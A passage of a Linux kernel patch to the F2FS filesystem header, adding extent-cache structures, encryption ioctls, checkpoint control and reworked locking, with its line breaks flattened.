F2FS_MOUNT_INLINE_DENTRY 0x00000200 +#define F2FS_MOUNT_FLUSH_MERGE 0x00000400 +#define F2FS_MOUNT_NOBARRIER 0x00000800 +#define F2FS_MOUNT_FASTBOOT 0x00001000 +#define F2FS_MOUNT_EXTENT_CACHE 0x00002000 +#define F2FS_MOUNT_FORCE_FG_GC 0x00004000 #define clear_opt(sbi, option) (sbi->mount_opt.opt &= ~F2FS_MOUNT_##option) #define set_opt(sbi, option) (sbi->mount_opt.opt |= F2FS_MOUNT_##option) @@ -37,21 +63,44 @@ typecheck(unsigned long long, b) && \ ((long long)((a) - (b)) > 0)) -typedef u64 block_t; +typedef u32 block_t; /* + * should not change u32, since it is the on-disk block + * address format, __le32. + */ typedef u32 nid_t; struct f2fs_mount_info { unsigned int opt; }; -static inline __u32 f2fs_crc32(void *buff, size_t len) +#define F2FS_FEATURE_ENCRYPT 0x0001 + +#define F2FS_HAS_FEATURE(sb, mask) \ + ((F2FS_SB(sb)->raw_super->feature & cpu_to_le32(mask)) != 0) +#define F2FS_SET_FEATURE(sb, mask) \ + F2FS_SB(sb)->raw_super->feature |= cpu_to_le32(mask) +#define F2FS_CLEAR_FEATURE(sb, mask) \ + F2FS_SB(sb)->raw_super->feature &= ~cpu_to_le32(mask) + +#define CRCPOLY_LE 0xedb88320 + +static inline __u32 f2fs_crc32(void *buf, size_t len) { - return crc32_le(F2FS_SUPER_MAGIC, buff, len); + unsigned char *p = (unsigned char *)buf; + __u32 crc = F2FS_SUPER_MAGIC; + int i; + + while (len--) { + crc ^= *p++; + for (i = 0; i < 8; i++) + crc = (crc >> 1) ^ ((crc & 1) ? CRCPOLY_LE : 0); + } + return crc; } -static inline bool f2fs_crc_valid(__u32 blk_crc, void *buff, size_t buff_size) +static inline bool f2fs_crc_valid(__u32 blk_crc, void *buf, size_t buf_size) { - return f2fs_crc32(buff, buff_size) == blk_crc; + return f2fs_crc32(buf, buf_size) == blk_crc; } /* @@ -62,23 +111,79 @@ enum { SIT_BITMAP }; -/* for the list of orphan inodes */ -struct orphan_inode_entry { +enum { + CP_UMOUNT, + CP_FASTBOOT, + CP_SYNC, + CP_RECOVERY, + CP_DISCARD, +}; + +#define DEF_BATCHED_TRIM_SECTIONS 32 +#define BATCHED_TRIM_SEGMENTS(sbi) \ + (SM_I(sbi)->trim_sections * (sbi)->segs_per_sec) +#define BATCHED_TRIM_BLOCKS(sbi) \ + (BATCHED_TRIM_SEGMENTS(sbi) << (sbi)->log_blocks_per_seg) +#define DEF_CP_INTERVAL 60 /* 60 secs */ + +struct cp_control { + int reason; + __u64 trim_start; + __u64 trim_end; + __u64 trim_minlen; + __u64 trimmed; +}; + +/* + * For CP/NAT/SIT/SSA readahead + */ +enum { + META_CP, + META_NAT, + META_SIT, + META_SSA, + META_POR, +}; + +/* for the list of ino */ +enum { + ORPHAN_INO, /* for orphan ino list */ + APPEND_INO, /* for append ino list */ + UPDATE_INO, /* for update ino list */ + MAX_INO_ENTRY, /* max. list */ +}; + +struct ino_entry { struct list_head list; /* list head */ nid_t ino; /* inode number */ }; -/* for the list of directory inodes */ -struct dir_inode_entry { +/* + * for the list of directory inodes or gc inodes. + * NOTE: there are two slab users for this structure, if we add/modify/delete + * fields in structure for one of slab users, it may affect fields or size of + * other one, in this condition, it's better to split both of slab and related + * data structure. + */ +struct inode_entry { struct list_head list; /* list head */ struct inode *inode; /* vfs inode pointer */ }; +/* for the list of blockaddresses to be discarded */ +struct discard_entry { + struct list_head list; /* list head */ + block_t blkaddr; /* block address to be discarded */ + int len; /* # of consecutive blocks of the discard */ +}; + /* for the list of fsync inodes, used only during recovery */ struct fsync_inode_entry { struct list_head list; /* list head */ struct inode *inode; /* vfs inode pointer */ - block_t blkaddr; /* block address locating the last inode */ + block_t blkaddr; /* block address locating the last fsync */ + block_t last_dentry; /* block address locating the last dentry */ + block_t last_inode; /* block address locating the last inode */ }; #define nats_in_cursum(sum) (le16_to_cpu(sum->n_nats)) @@ -89,6 +194,9 @@ struct fsync_inode_entry { #define sit_in_journal(sum, i) (sum->sit_j.entries[i].se) #define segno_in_journal(sum, i) (sum->sit_j.entries[i].segno) +#define MAX_NAT_JENTRIES(sum) (NAT_JOURNAL_ENTRIES - nats_in_cursum(sum)) +#define MAX_SIT_JENTRIES(sum) (SIT_JOURNAL_ENTRIES - sits_in_cursum(sum)) + static inline int update_nats_in_cursum(struct f2fs_summary_block *rs, int i) { int before = nats_in_cursum(rs); @@ -103,11 +211,45 @@ static inline int update_sits_in_cursum(struct f2fs_summary_block *rs, int i) return before; } +static inline bool __has_cursum_space(struct f2fs_summary_block *sum, int size, + int type) +{ + if (type == NAT_JOURNAL) + return size <= MAX_NAT_JENTRIES(sum); + return size <= MAX_SIT_JENTRIES(sum); +} + /* * ioctl commands */ -#define F2FS_IOC_GETFLAGS FS_IOC_GETFLAGS -#define F2FS_IOC_SETFLAGS FS_IOC_SETFLAGS +#define F2FS_IOC_GETFLAGS FS_IOC_GETFLAGS +#define F2FS_IOC_SETFLAGS FS_IOC_SETFLAGS +#define F2FS_IOC_GETVERSION FS_IOC_GETVERSION +#define FS_IOC_SHUTDOWN _IOR('X', 125, __u32) /* Shutdown */ + +/* + * Flags for going down operation used by FS_IOC_GOINGDOWN + */ +#define FS_GOING_DOWN_FULLSYNC 0x0 /* going down with full sync */ +#define FS_GOING_DOWN_METASYNC 0x1 /* going down with metadata */ +#define FS_GOING_DOWN_NOSYNC 0x2 /* going down */ +#define FS_GOING_DOWN_METAFLUSH 0x3 /* going down with meta flush */ + +#define F2FS_IOCTL_MAGIC 0xf5 +#define F2FS_IOC_START_ATOMIC_WRITE _IO(F2FS_IOCTL_MAGIC, 1) +#define F2FS_IOC_COMMIT_ATOMIC_WRITE _IO(F2FS_IOCTL_MAGIC, 2) +#define F2FS_IOC_START_VOLATILE_WRITE _IO(F2FS_IOCTL_MAGIC, 3) +#define F2FS_IOC_RELEASE_VOLATILE_WRITE _IO(F2FS_IOCTL_MAGIC, 4) +#define F2FS_IOC_ABORT_VOLATILE_WRITE _IO(F2FS_IOCTL_MAGIC, 5) +#define F2FS_IOC_GARBAGE_COLLECT _IO(F2FS_IOCTL_MAGIC, 6) +#define F2FS_IOC_WRITE_CHECKPOINT _IO(F2FS_IOCTL_MAGIC, 7) + +#define F2FS_IOC_SET_ENCRYPTION_POLICY \ + _IOR('f', 19, struct f2fs_encryption_policy) +#define F2FS_IOC_GET_ENCRYPTION_PWSALT \ + _IOW('f', 20, __u8[16]) +#define F2FS_IOC_GET_ENCRYPTION_POLICY \ + _IOW('f', 21, struct f2fs_encryption_policy) #if defined(__KERNEL__) && defined(CONFIG_COMPAT) /* @@ -120,86 +262,265 @@ static inline int update_sits_in_cursum(struct f2fs_summary_block *rs, int i) /* * For INODE and NODE manager */ -#define XATTR_NODE_OFFSET (-1) /* - * store xattrs to one node block per - * file keeping -1 as its node offset to - * distinguish from index node blocks. - */ +/* for directory operations */ +struct f2fs_str { + unsigned char *name; + u32 len; +}; + +struct f2fs_filename { + const struct qstr *usr_fname; + struct f2fs_str disk_name; + f2fs_hash_t hash; +#ifdef CONFIG_F2FS_FS_ENCRYPTION + struct f2fs_str crypto_buf; +#endif +}; + +#define FSTR_INIT(n, l) { .name = n, .len = l } +#define FSTR_TO_QSTR(f) QSTR_INIT((f)->name, (f)->len) +#define fname_name(p) ((p)->disk_name.name) +#define fname_len(p) ((p)->disk_name.len) + +struct f2fs_dentry_ptr { + struct inode *inode; + const void *bitmap; + struct f2fs_dir_entry *dentry; + __u8 (*filename)[F2FS_SLOT_LEN]; + int max; +}; + +static inline void make_dentry_ptr(struct inode *inode, + struct f2fs_dentry_ptr *d, void *src, int type) +{ + d->inode = inode; + + if (type == 1) { + struct f2fs_dentry_block *t = (struct f2fs_dentry_block *)src; + d->max = NR_DENTRY_IN_BLOCK; + d->bitmap = &t->dentry_bitmap; + d->dentry = t->dentry; + d->filename = t->filename; + } else { + struct f2fs_inline_dentry *t = (struct f2fs_inline_dentry *)src; + d->max = NR_INLINE_DENTRY; + d->bitmap = &t->dentry_bitmap; + d->dentry = t->dentry; + d->filename = t->filename; + } +} + +/* + * XATTR_NODE_OFFSET stores xattrs to one node block per file keeping -1 + * as its node offset to distinguish from index node blocks. + * But some bits are used to mark the node block. + */ +#define XATTR_NODE_OFFSET ((((unsigned int)-1) << OFFSET_BIT_SHIFT) \ + >> OFFSET_BIT_SHIFT) enum { ALLOC_NODE, /* allocate a new node page if needed */ LOOKUP_NODE, /* look up a node without readahead */ LOOKUP_NODE_RA, /* * look up a node with readahead called - * by get_datablock_ro. + * by get_data_block. */ }; -#define F2FS_LINK_MAX 32000 /* maximum link count per file */ +#define F2FS_LINK_MAX 0xffffffff /* maximum link count per file */ + +#define MAX_DIR_RA_PAGES 4 /* maximum ra pages of dir */ + +/* vector size for gang look-up from extent cache that consists of radix tree */ +#define EXT_TREE_VEC_SIZE 64 /* for in-memory extent cache entry */ +#define F2FS_MIN_EXTENT_LEN 64 /* minimum extent length */ + +/* number of extent info in extent cache we try to shrink */ +#define EXTENT_CACHE_SHRINK_NUMBER 128 + struct extent_info { - rwlock_t ext_lock; /* rwlock for consistency */ - unsigned int fofs; /* start offset in a file */ - u32 blk_addr; /* start block address of the extent */ - unsigned int len; /* length of the extent */ + unsigned int fofs; /* start offset in a file */ + u32 blk; /* start block address of the extent */ + unsigned int len; /* length of the extent */ +}; + +struct extent_node { + struct rb_node rb_node; /* rb node located in rb-tree */ + struct list_head list; /* node in global extent list of sbi */ + struct extent_info ei; /* extent info */ +}; + +struct extent_tree { + nid_t ino; /* inode number */ + struct rb_root root; /* root of extent info rb-tree */ + struct extent_node *cached_en; /* recently accessed extent node */ + struct extent_info largest; /* largested extent info */ + rwlock_t lock; /* protect extent info rb-tree */ + atomic_t refcount; /* reference count of rb-tree */ + unsigned int count; /* # of extent node in rb-tree*/ }; +/* + * This structure is taken from ext4_map_blocks. + * + * Note that, however, f2fs uses NEW and MAPPED flags for f2fs_map_blocks(). + */ +#define F2FS_MAP_NEW (1 << BH_New) +#define F2FS_MAP_MAPPED (1 << BH_Mapped) +#define F2FS_MAP_UNWRITTEN (1 << BH_Unwritten) +#define F2FS_MAP_FLAGS (F2FS_MAP_NEW | F2FS_MAP_MAPPED |\ + F2FS_MAP_UNWRITTEN) + +struct f2fs_map_blocks { + block_t m_pblk; + block_t m_lblk; + unsigned int m_len; + unsigned int m_flags; +}; + +/* for flag in get_data_block */ +#define F2FS_GET_BLOCK_READ 0 +#define F2FS_GET_BLOCK_DIO 1 +#define F2FS_GET_BLOCK_FIEMAP 2 +#define F2FS_GET_BLOCK_BMAP 3 + /* * i_advise uses FADVISE_XXX_BIT. We can add additional hints later. */ #define FADVISE_COLD_BIT 0x01 -#define FADVISE_CP_BIT 0x02 +#define FADVISE_LOST_PINO_BIT 0x02 +#define FADVISE_ENCRYPT_BIT 0x04 +#define FADVISE_ENC_NAME_BIT 0x08 + +#define file_is_cold(inode) is_file(inode, FADVISE_COLD_BIT) +#define file_wrong_pino(inode) is_file(inode, FADVISE_LOST_PINO_BIT) +#define file_set_cold(inode) set_file(inode, FADVISE_COLD_BIT) +#define file_lost_pino(inode) set_file(inode, FADVISE_LOST_PINO_BIT) +#define file_clear_cold(inode) clear_file(inode, FADVISE_COLD_BIT) +#define file_got_pino(inode) clear_file(inode, FADVISE_LOST_PINO_BIT) +#define file_is_encrypt(inode) is_file(inode, FADVISE_ENCRYPT_BIT) +#define file_set_encrypt(inode) set_file(inode, FADVISE_ENCRYPT_BIT) +#define file_clear_encrypt(inode) clear_file(inode, FADVISE_ENCRYPT_BIT) +#define file_enc_name(inode) is_file(inode, FADVISE_ENC_NAME_BIT) +#define file_set_enc_name(inode) set_file(inode, FADVISE_ENC_NAME_BIT) + +/* Encryption algorithms */ +#define F2FS_ENCRYPTION_MODE_INVALID 0 +#define F2FS_ENCRYPTION_MODE_AES_256_XTS 1 +#define F2FS_ENCRYPTION_MODE_AES_256_GCM 2 +#define F2FS_ENCRYPTION_MODE_AES_256_CBC 3 +#define F2FS_ENCRYPTION_MODE_AES_256_CTS 4 + +#include "f2fs_crypto.h" + +#define DEF_DIR_LEVEL 0 struct f2fs_inode_info { struct inode vfs_inode; /* serve a vfs inode */ unsigned long i_flags; /* keep an inode flags for ioctl */ unsigned char i_advise; /* use to give file attribute hints */ + unsigned char i_dir_level; /* use for dentry level for large dir */ unsigned int i_current_depth; /* use only in directory structure */ unsigned int i_pino; /* parent inode number */ umode_t i_acl_mode; /* keep file acl mode temporarily */ /* Use below internally in f2fs*/ unsigned long flags; /* use to pass per-file flags */ - atomic_t dirty_dents; /* # of dirty dentry pages */ + struct rw_semaphore i_sem; /* protect fi info */ + atomic_t dirty_pages; /* # of dirty pages */ f2fs_hash_t chash; /* hash value of given file name */ unsigned int clevel; /* maximum level of given file name */ nid_t i_xattr_nid; /* node id that contains xattrs */ - struct extent_info ext; /* in-memory extent cache entry */ + unsigned long long xattr_ver; /* cp version of xattr modification */ + struct inode_entry *dirty_dir; /* the pointer of dirty dir */ + + struct list_head inmem_pages; /* inmemory pages managed by f2fs */ + struct mutex inmem_lock; /* lock for inmemory pages */ + + struct extent_tree *extent_tree; /* cached extent_tree entry */ + +#ifdef CONFIG_F2FS_FS_ENCRYPTION + /* Encryption params */ + struct f2fs_crypt_info *i_crypt_info; +#endif }; static inline void get_extent_info(struct extent_info *ext, struct f2fs_extent i_ext) { - write_lock(&ext->ext_lock); ext->fofs = le32_to_cpu(i_ext.fofs); - ext->blk_addr = le32_to_cpu(i_ext.blk_addr); + ext->blk = le32_to_cpu(i_ext.blk); ext->len = le32_to_cpu(i_ext.len); - write_unlock(&ext->ext_lock); } static inline void set_raw_extent(struct extent_info *ext, struct f2fs_extent *i_ext) { - read_lock(&ext->ext_lock); i_ext->fofs = cpu_to_le32(ext->fofs); - i_ext->blk_addr = cpu_to_le32(ext->blk_addr); + i_ext->blk = cpu_to_le32(ext->blk); i_ext->len = cpu_to_le32(ext->len); - read_unlock(&ext->ext_lock); +} + +static inline void set_extent_info(struct extent_info *ei, unsigned int fofs, + u32 blk, unsigned int len) +{ + ei->fofs = fofs; + ei->blk = blk; + ei->len = len; +} + +static inline bool __is_extent_same(struct extent_info *ei1, + struct extent_info *ei2) +{ + return (ei1->fofs == ei2->fofs && ei1->blk == ei2->blk && + ei1->len == ei2->len); +} + +static inline bool __is_extent_mergeable(struct extent_info *back, + struct extent_info *front) +{ + return (back->fofs + back->len == front->fofs && + back->blk + back->len == front->blk); +} + +static inline bool __is_back_mergeable(struct extent_info *cur, + struct extent_info *back) +{ + return __is_extent_mergeable(back, cur); +} + +static inline bool __is_front_mergeable(struct extent_info *cur, + struct extent_info *front) +{ + return __is_extent_mergeable(cur, front); +} + +static inline void __try_update_largest_extent(struct extent_tree *et, + struct extent_node *en) +{ + if (en->ei.len > et->largest.len) + et->largest = en->ei; } struct f2fs_nm_info { block_t nat_blkaddr; /* base disk address of NAT */ nid_t max_nid; /* maximum possible node ids */ + nid_t available_nids; /* maximum available node ids */ nid_t next_scan_nid; /* the next nid to be scanned */ + unsigned int ram_thresh; /* control the memory footprint */ + unsigned int ra_nid_pages; /* # of nid pages to be readaheaded */ /* NAT cache management */ struct radix_tree_root nat_root;/* root of the nat entry cache */ - rwlock_t nat_tree_lock; /* protect nat_tree_lock */ - unsigned int nat_cnt; /* the # of cached nat entries */ + struct radix_tree_root nat_set_root;/* root of the nat set cache */ + struct rw_semaphore nat_tree_lock; /* protect nat_tree_lock */ struct list_head nat_entries; /* cached nat entry list (clean) */ - struct list_head dirty_nat_entries; /* cached nat entry list (dirty) */ + unsigned int nat_cnt; /* the # of cached nat entries */ + unsigned int dirty_nat_cnt; /* total num of nat entries in set */ /* free node ids management */ + struct radix_tree_root free_nid_root;/* root of the free_nid cache */ struct list_head free_nid_list; /* a list for free nids */ spinlock_t free_nid_list_lock; /* protect free nid list */ unsigned int fcnt; /* the number of free node id */ @@ -259,7 +580,21 @@ enum { CURSEG_HOT_NODE, /* direct node blocks of directory files */ CURSEG_WARM_NODE, /* direct node blocks of normal files */ CURSEG_COLD_NODE, /* indirect node blocks */ - NO_CHECK_TYPE + NO_CHECK_TYPE, + CURSEG_DIRECT_IO, /* to use for the direct IO path */ +}; + +struct flush_cmd { + struct completion wait; + struct llist_node llnode; + int ret; +}; + +struct flush_cmd_control { + struct task_struct *f2fs_issue_flush; /* flush thread */ + wait_queue_head_t flush_wait_queue; /* waiting queue for wake-up */ + struct llist_head issue_list; /* list for command issue */ + struct llist_node *dispatch_list; /* list for command dispatch */ }; struct f2fs_sm_info { @@ -268,9 +603,6 @@ struct f2fs_sm_info { struct dirty_seglist_info *dirty_info; /* dirty segment information */ struct curseg_info *curseg_array; /* active segment information */ - struct list_head wblist_head; /* list of under-writeback pages */ - spinlock_t wblist_lock; /* lock for checkpoint */ - block_t seg0_blkaddr; /* block address of 0'th segment */ block_t main_blkaddr; /* start block address of main area */ block_t ssa_blkaddr; /* start block address of SSA area */ @@ -279,16 +611,28 @@ struct f2fs_sm_info { unsigned int main_segments; /* # of segments in main area */ unsigned int reserved_segments; /* # of reserved segments */ unsigned int ovp_segments; /* # of overprovision segments */ -}; -/* - * For directory operation - */ -#define NODE_DIR1_BLOCK (ADDRS_PER_INODE + 1) -#define NODE_DIR2_BLOCK (ADDRS_PER_INODE + 2) -#define NODE_IND1_BLOCK (ADDRS_PER_INODE + 3) -#define NODE_IND2_BLOCK (ADDRS_PER_INODE + 4) -#define NODE_DIND_BLOCK (ADDRS_PER_INODE + 5) + /* a threshold to reclaim prefree segments */ + unsigned int rec_prefree_segments; + + /* for small discard management */ + struct list_head discard_list; /* 4KB discard list */ + int nr_discards; /* # of discards in the list */ + int max_discards; /* max. discards to be issued */ + + /* for batched trimming */ + unsigned int trim_sections; /* # of sections to trim */ + + struct list_head sit_entry_set; /* sit entry set list */ + + unsigned int ipu_policy; /* in-place-update policy */ + unsigned int min_ipu_util; /* in-place-update threshold */ + unsigned int min_fsync_blocks; /* threshold for fsync */ + + /* for flush command control */ + struct flush_cmd_control *cmd_control_info; + +}; /* * For superblock @@ -304,19 +648,12 @@ enum count_type { F2FS_DIRTY_DENTS, F2FS_DIRTY_NODES, F2FS_DIRTY_META, + F2FS_INMEM_PAGES, NR_COUNT_TYPE, }; /* - * Uses as sbi->fs_lock[NR_GLOBAL_LOCKS]. - * The checkpoint procedure blocks all the locks in this fs_lock array. - * Some FS operations grab free locks, and if there is no free lock, - * then wait to grab a lock in a round-robin manner. - */ -#define NR_GLOBAL_LOCKS 8 - -/* - * The below are the page types of bios used in submti_bio(). + * The below are the page types of bios used in submit_bio(). * The available types are: * DATA User data pages. It operates as async mode. * NODE Node pages. It operates as async mode. @@ -326,19 +663,59 @@ enum count_type { * with waiting the bio's completion * ... Only can be used with META. */ +#define PAGE_TYPE_OF_BIO(type) ((type) > META ? META : (type)) enum page_type { DATA, NODE, META, NR_PAGE_TYPE, META_FLUSH, + INMEM, /* the below types are used by tracepoints only. */ + INMEM_DROP, + IPU, + OPU, +}; + +struct f2fs_io_info { + struct f2fs_sb_info *sbi; /* f2fs_sb_info pointer */ + enum page_type type; /* contains DATA/NODE/META/META_FLUSH */ + int rw; /* contains R/RS/W/WS with REQ_META/REQ_PRIO */ + block_t blk_addr; /* block address to be written */ + struct page *page; /* page to be written */ + struct page *encrypted_page; /* encrypted page */ +}; + +#define is_read_io(rw) (((rw) & 1) == READ) +struct f2fs_bio_info { + struct f2fs_sb_info *sbi; /* f2fs superblock */ + struct bio *bio; /* bios to merge */ + sector_t last_block_in_bio; /* last block number */ + struct f2fs_io_info fio; /* store buffered io info. */ + struct rw_semaphore io_rwsem; /* blocking op for bio */ +}; + +/* for inner inode cache management */ +struct inode_management { + struct radix_tree_root ino_root; /* ino entry array */ + spinlock_t ino_lock; /* for ino entry lock */ + struct list_head ino_list; /* inode list head */ + unsigned long ino_num; /* number of entries */ +}; + +/* For s_flag in struct f2fs_sb_info */ +enum { + SBI_IS_DIRTY, /* dirty flag for checkpoint */ + SBI_IS_CLOSE, /* specify unmounting */ + SBI_NEED_FSCK, /* need fsck.f2fs to fix */ + SBI_POR_DOING, /* recovery is doing or not */ }; struct f2fs_sb_info { struct super_block *sb; /* pointer to VFS super block */ + struct proc_dir_entry *s_proc; /* proc entry */ struct buffer_head *raw_super_buf; /* buffer head of raw sb */ struct f2fs_super_block *raw_super; /* raw super block pointer */ - int s_dirty; /* dirty flag for checkpoint */ + int s_flag; /* flags for sbi */ /* for node-related operations */ struct f2fs_nm_info *nm_info; /* node manager */ @@ -346,32 +723,39 @@ struct f2fs_sb_info { /* for segment-related operations */ struct f2fs_sm_info *sm_info; /* segment manager */ - struct bio *bio[NR_PAGE_TYPE]; /* bios to merge */ - sector_t last_block_in_bio[NR_PAGE_TYPE]; /* last block number */ - struct rw_semaphore bio_sem; /* IO semaphore */ + + /* for bio operations */ + struct f2fs_bio_info read_io; /* for read bios */ + struct f2fs_bio_info write_io[NR_PAGE_TYPE]; /* for write bios */ /* for checkpoint */ struct f2fs_checkpoint *ckpt; /* raw checkpoint pointer */ struct inode *meta_inode; /* cache meta blocks */ struct mutex cp_mutex; /* checkpoint procedure lock */ - struct mutex fs_lock[NR_GLOBAL_LOCKS]; /* blocking FS operations */ - struct mutex node_write; /* locking node writes */ + struct rw_semaphore cp_rwsem; /* blocking FS operations */ + struct rw_semaphore node_write; /* locking node writes */ struct mutex writepages; /* mutex for writepages() */ - unsigned char next_lock_num; /* round-robin global locks */ - int por_doing; /* recovery is doing or not */ - int on_build_free_nids; /* build_free_nids is doing */ + wait_queue_head_t cp_wait; + long cp_expires, cp_interval; /* next expected periodic cp */ + + struct inode_management im[MAX_INO_ENTRY]; /* manage inode cache */ - /* for orphan inode management */ - struct list_head orphan_inode_list; /* orphan inode list */ - struct mutex orphan_inode_mutex; /* for orphan inode list */ - unsigned int n_orphans; /* # of orphan inodes */ + /* for orphan inode, use 0'th array */ + unsigned int max_orphans; /* max orphan inodes */ /* for directory inode management */ struct list_head dir_inode_list; /* dir inode list */ spinlock_t dir_inode_lock; /* for dir inode list lock */ - unsigned int n_dirty_dirs; /* # of dir inodes */ - /* basic file system units */ + /* for extent tree cache */ + struct radix_tree_root extent_tree_root;/* cache extent cache entries */ + struct rw_semaphore extent_tree_lock; /* locking extent radix tree */ + struct list_head extent_list; /* lru list for shrinker */ + spinlock_t extent_lock; /* locking extent lru list */ + int total_ext_tree; /* extent tree count */ + atomic_t total_ext_node; /* extent info count */ + + /* basic filesystem units */ unsigned int log_sectors_per_block; /* log2 sectors per block */ unsigned int log_blocksize; /* log2 block size */ unsigned int blocksize; /* block size */ @@ -387,10 +771,12 @@ struct f2fs_sb_info { unsigned int total_valid_node_count; /* valid node block count */ unsigned int total_valid_inode_count; /* valid inode count */ int active_logs; /* # of active logs */ + int dir_level; /* directory level */ block_t user_block_count; /* # of user blocks */ block_t total_valid_block_count; /* # of valid blocks */ block_t alloc_valid_block_count; /* # of allocated blocks */ + block_t discard_blks; /* discard command candidats */ block_t last_valid_block_count; /* for recovery */ u32 s_next_generation; /* for NFS support */ atomic_t nr_pages[NR_COUNT_TYPE]; /* # of pages, see count_type */ @@ -402,17 +788,39 @@ struct f2fs_sb_info { struct f2fs_gc_kthread *gc_thread; /* GC thread */ unsigned int cur_victim_sec; /* current victim section num */ + /* maximum # of trials to find a victim segment for SSR and GC */ + unsigned int max_victim_search; + /* * for stat information. * one is for the LFS mode, and the other is for the SSR mode. */ +#ifdef CONFIG_F2FS_STAT_FS struct f2fs_stat_info *stat_info; /* FS status information */ unsigned int segment_count[2]; /* # of allocated segments */ unsigned int block_count[2]; /* # of allocated blocks */ - unsigned int last_victim[2]; /* last victim segment # */ - int total_hit_ext, read_hit_ext; /* extent cache hit ratio */ + atomic_t inplace_count; /* # of inplace update */ + atomic64_t total_hit_ext; /* # of lookup extent cache */ + atomic64_t read_hit_rbtree; /* # of hit rbtree extent node */ + atomic64_t read_hit_largest; /* # of hit largest extent node */ + atomic64_t read_hit_cached; /* # of hit cached extent node */ + atomic_t inline_xattr; /* # of inline_xattr inodes */ + atomic_t inline_inode; /* # of inline_data inodes */ + atomic_t inline_dir; /* # of inline_dentry inodes */ int bg_gc; /* background gc calls */ + unsigned int n_dirty_dirs; /* # of dir inodes */ +#endif + unsigned int last_victim[2]; /* last victim segment # */ spinlock_t stat_lock; /* lock for stat operations */ + + /* For sysfs suppport */ + struct kobject s_kobj; + struct completion s_kobj_unregister; + + /* For shrinker support */ + struct list_head s_list; + struct mutex umount_mutex; + unsigned int shrinker_run_no; }; /* @@ -428,6 +836,21 @@ static inline struct f2fs_sb_info *F2FS_SB(struct super_block *sb) return sb->s_fs_info; } +static inline struct f2fs_sb_info *F2FS_I_SB(struct inode *inode) +{ + return F2FS_SB(inode->i_sb); +} + +static inline struct f2fs_sb_info *F2FS_M_SB(struct address_space *mapping) +{ + return F2FS_I_SB(mapping->host); +} + +static inline struct f2fs_sb_info *F2FS_P_SB(struct page *page) +{ + return F2FS_M_SB(page->mapping); +} + static inline struct f2fs_super_block *F2FS_RAW_SUPER(struct f2fs_sb_info *sbi) { return (struct f2fs_super_block *)(sbi->raw_super); @@ -438,6 +861,16 @@ static inline struct f2fs_checkpoint *F2FS_CKPT(struct f2fs_sb_info *sbi) return (struct f2fs_checkpoint *)(sbi->ckpt); } +static inline struct f2fs_node *F2FS_NODE(struct page *page) +{ + return (struct f2fs_node *)page_address(page); +} + +static inline struct f2fs_inode *F2FS_INODE(struct page *page) +{ + return &((struct f2fs_node *)page_address(page))->i; +} + static inline struct f2fs_nm_info *NM_I(struct f2fs_sb_info *sbi) { return (struct f2fs_nm_info *)(sbi->nm_info); @@ -463,14 +896,34 @@ static inline struct dirty_seglist_info *DIRTY_I(struct f2fs_sb_info *sbi) return (struct dirty_seglist_info *)(SM_I(sbi)->dirty_info); } -static inline void F2FS_SET_SB_DIRT(struct f2fs_sb_info *sbi) +static inline struct address_space *META_MAPPING(struct f2fs_sb_info *sbi) +{ + return sbi->meta_inode->i_mapping; +} + +static inline struct address_space *NODE_MAPPING(struct f2fs_sb_info *sbi) +{ + return sbi->node_inode->i_mapping; +} + +static inline bool is_sbi_flag_set(struct f2fs_sb_info *sbi, unsigned int type) +{ + return sbi->s_flag & (0x01 << type); +} + +static inline void set_sbi_flag(struct f2fs_sb_info *sbi, unsigned int type) { - sbi->s_dirty = 1; + sbi->s_flag |= (0x01 << type); } -static inline void F2FS_RESET_SB_DIRT(struct f2fs_sb_info *sbi) +static inline void clear_sbi_flag(struct f2fs_sb_info *sbi, unsigned int type) { - sbi->s_dirty = 0; + sbi->s_flag &= ~(0x01 << type); +} + +static inline unsigned long long cur_cp_version(struct f2fs_checkpoint *cp) +{ + return le64_to_cpu(cp->checkpoint_ver); } static inline bool is_set_ckpt_flags(struct f2fs_checkpoint *cp, unsigned int f) @@ -493,40 +946,46 @@ static inline void clear_ckpt_flags(struct f2fs_checkpoint *cp, unsigned int f) cp->ckpt_flags = cpu_to_le32(ckpt_flags); } -static inline void mutex_lock_all(struct f2fs_sb_info *sbi) +static inline void f2fs_lock_op(struct f2fs_sb_info *sbi) { - int i = 0; - for (; i < NR_GLOBAL_LOCKS; i++) - mutex_lock(&sbi->fs_lock[i]); + down_read(&sbi->cp_rwsem); } -static inline void mutex_unlock_all(struct f2fs_sb_info *sbi) +static inline void f2fs_unlock_op(struct f2fs_sb_info *sbi) { - int i = 0; - for (; i < NR_GLOBAL_LOCKS; i++) - mutex_unlock(&sbi->fs_lock[i]); + up_read(&sbi->cp_rwsem); } -static inline int mutex_lock_op(struct f2fs_sb_info *sbi) +static inline void f2fs_lock_all(struct f2fs_sb_info *sbi) { - unsigned char next_lock = sbi->next_lock_num % NR_GLOBAL_LOCKS; - int i = 0; + f2fs_down_write(&sbi->cp_rwsem, &sbi->cp_mutex); +} - for (; i < NR_GLOBAL_LOCKS; i++) - if (mutex_trylock(&sbi->fs_lock[i])) - return i; +static inline void f2fs_unlock_all(struct f2fs_sb_info *sbi) +{ + up_write(&sbi->cp_rwsem); +} + +static inline int __get_cp_reason(struct f2fs_sb_info *sbi) +{ + int reason = CP_SYNC; - mutex_lock(&sbi->fs_lock[next_lock]); - sbi->next_lock_num++; - return next_lock; + if (test_opt(sbi, FASTBOOT)) + reason = CP_FASTBOOT; + if (is_sbi_flag_set(sbi, SBI_IS_CLOSE)) + reason = CP_UMOUNT; + return reason; } -static inline void mutex_unlock_op(struct f2fs_sb_info *sbi, int ilock) +static inline bool __remain_node_summaries(int reason) { - if (ilock < 0) - return; - BUG_ON(ilock >= NR_GLOBAL_LOCKS); - mutex_unlock(&sbi->fs_lock[ilock]); + return (reason == CP_UMOUNT || reason == CP_FASTBOOT); +} + +static inline bool __exist_node_summaries(struct f2fs_sb_info *sbi) +{ + return (is_set_ckpt_flags(F2FS_CKPT(sbi), CP_UMOUNT_FLAG) || + is_set_ckpt_flags(F2FS_CKPT(sbi), CP_FASTBOOT_FLAG)); } /* @@ -534,8 +993,9 @@ static inline void mutex_unlock_op(struct f2fs_sb_info *sbi, int ilock) */ static inline int check_nid_range(struct f2fs_sb_info *sbi, nid_t nid) { - WARN_ON((nid >= NM_I(sbi)->max_nid)); - if (nid >= NM_I(sbi)->max_nid) + if (unlikely(nid < F2FS_ROOT_INO(sbi))) + return -EINVAL; + if (unlikely(nid >= NM_I(sbi)->max_nid)) return -EINVAL; return 0; } @@ -548,9 +1008,14 @@ static inline int check_nid_range(struct f2fs_sb_info *sbi, nid_t nid) static inline int F2FS_HAS_BLOCKS(struct inode *inode) { if 